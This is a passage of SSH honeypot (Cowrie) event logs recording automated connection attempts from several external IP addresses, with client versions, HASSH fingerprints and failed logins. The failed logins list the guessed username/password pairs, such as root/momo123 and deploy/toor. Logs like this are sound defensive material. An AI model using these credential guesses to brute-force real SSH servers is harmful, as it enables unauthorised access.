ha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:52.168477Z","src_ip":"192.109.200.78","session":"5674e4214f15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"momo123","message":"login attempt [root/momo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:52.532630Z","src_ip":"192.109.200.78","session":"5674e4214f15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:53.616019Z","src_ip":"192.109.200.78","session":"5674e4214f15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":32800,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd828df324db","protocol":"ssh","message":"New connection: 192.109.200.78:32800 (10.17.0.5:22) [session: cd828df324db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:55.395396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:55.399235Z","src_ip":"192.109.200.78","session":"cd828df324db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:55.636023Z","src_ip":"192.109.200.78","session":"cd828df324db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:55.969515Z","src_ip":"192.109.200.78","session":"cd828df324db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":59756,"dst_ip":"10.17.0.5","dst_port":22,"session":"21f2066a02a8","protocol":"ssh","message":"New connection: 109.237.96.109:59756 (10.17.0.5:22) [session: 21f2066a02a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:56.647601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:56.652412Z","src_ip":"109.237.96.109","session":"21f2066a02a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:56.738626Z","src_ip":"109.237.96.109","session":"21f2066a02a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"max1997","message":"login attempt [root/max1997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:56.991603Z","src_ip":"109.237.96.109","session":"21f2066a02a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:57.052104Z","src_ip":"192.109.200.78","session":"cd828df324db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:58.077791Z","src_ip":"109.237.96.109","session":"21f2066a02a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":32812,"dst_ip":"10.17.0.5","dst_port":22,"session":"20fa1e9e9d0b","protocol":"ssh","message":"New connection: 192.109.200.78:32812 (10.17.0.5:22) [session: 20fa1e9e9d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:59.115754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:59.119857Z","src_ip":"192.109.200.78","session":"20fa1e9e9d0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:59.201243Z","src_ip":"192.109.200.78","session":"20fa1e9e9d0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:45:59.444610Z","src_ip":"192.109.200.78","session":"20fa1e9e9d0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":48744,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1214d3cf975","protocol":"ssh","message":"New connection: 92.207.4.157:48744 (159.203.135.109:22) [session: a1214d3cf975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:00.309984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:00.315890Z","src_ip":"92.207.4.157","session":"a1214d3cf975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:00.417206Z","src_ip":"92.207.4.157","session":"a1214d3cf975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:00.539133Z","src_ip":"192.109.200.78","session":"20fa1e9e9d0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A12345678.","message":"login attempt [root/A12345678.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:00.848182Z","src_ip":"92.207.4.157","session":"a1214d3cf975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:01.946428Z","src_ip":"92.207.4.157","session":"a1214d3cf975","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59610,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7c8f6cabd2e","protocol":"ssh","message":"New connection: 192.109.200.78:59610 (10.17.0.5:22) [session: d7c8f6cabd2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:02.491815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:02.496103Z","src_ip":"192.109.200.78","session":"d7c8f6cabd2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:02.577490Z","src_ip":"192.109.200.78","session":"d7c8f6cabd2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:02.824509Z","src_ip":"192.109.200.78","session":"d7c8f6cabd2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:03.908465Z","src_ip":"192.109.200.78","session":"d7c8f6cabd2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59626,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dec0742b0db","protocol":"ssh","message":"New connection: 192.109.200.78:59626 (10.17.0.5:22) [session: 1dec0742b0db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:05.900403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:05.906883Z","src_ip":"192.109.200.78","session":"1dec0742b0db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:06.137192Z","src_ip":"192.109.200.78","session":"1dec0742b0db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"toor","message":"login attempt [deploy/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:06.462335Z","src_ip":"192.109.200.78","session":"1dec0742b0db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:07.546006Z","src_ip":"192.109.200.78","session":"1dec0742b0db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59648,"dst_ip":"10.17.0.5","dst_port":22,"session":"143fcdc3b721","protocol":"ssh","message":"New connection: 192.109.200.78:59648 (10.17.0.5:22) [session: 143fcdc3b721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:09.548507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:09.552840Z","src_ip":"192.109.200.78","session":"143fcdc3b721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:09.633739Z","src_ip":"192.109.200.78","session":"143fcdc3b721","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yun@wocloud.szkj","message":"login attempt [root/Yun@wocloud.szkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:09.878668Z","src_ip":"192.109.200.78","session":"143fcdc3b721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:10.963136Z","src_ip":"192.109.200.78","session":"143fcdc3b721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":60398,"dst_ip":"159.203.135.109","dst_port":22,"session":"f326140d375b","protocol":"ssh","message":"New connection: 152.32.171.213:60398 (159.203.135.109:22) [session: f326140d375b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:12.665789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:12.673201Z","src_ip":"152.32.171.213","session":"f326140d375b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:12.888734Z","src_ip":"152.32.171.213","session":"f326140d375b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36222,"dst_ip":"10.17.0.5","dst_port":22,"session":"45919626f117","protocol":"ssh","message":"New connection: 192.109.200.78:36222 (10.17.0.5:22) [session: 45919626f117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:12.923468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:12.928044Z","src_ip":"192.109.200.78","session":"45919626f117","protocol":"ssh"}
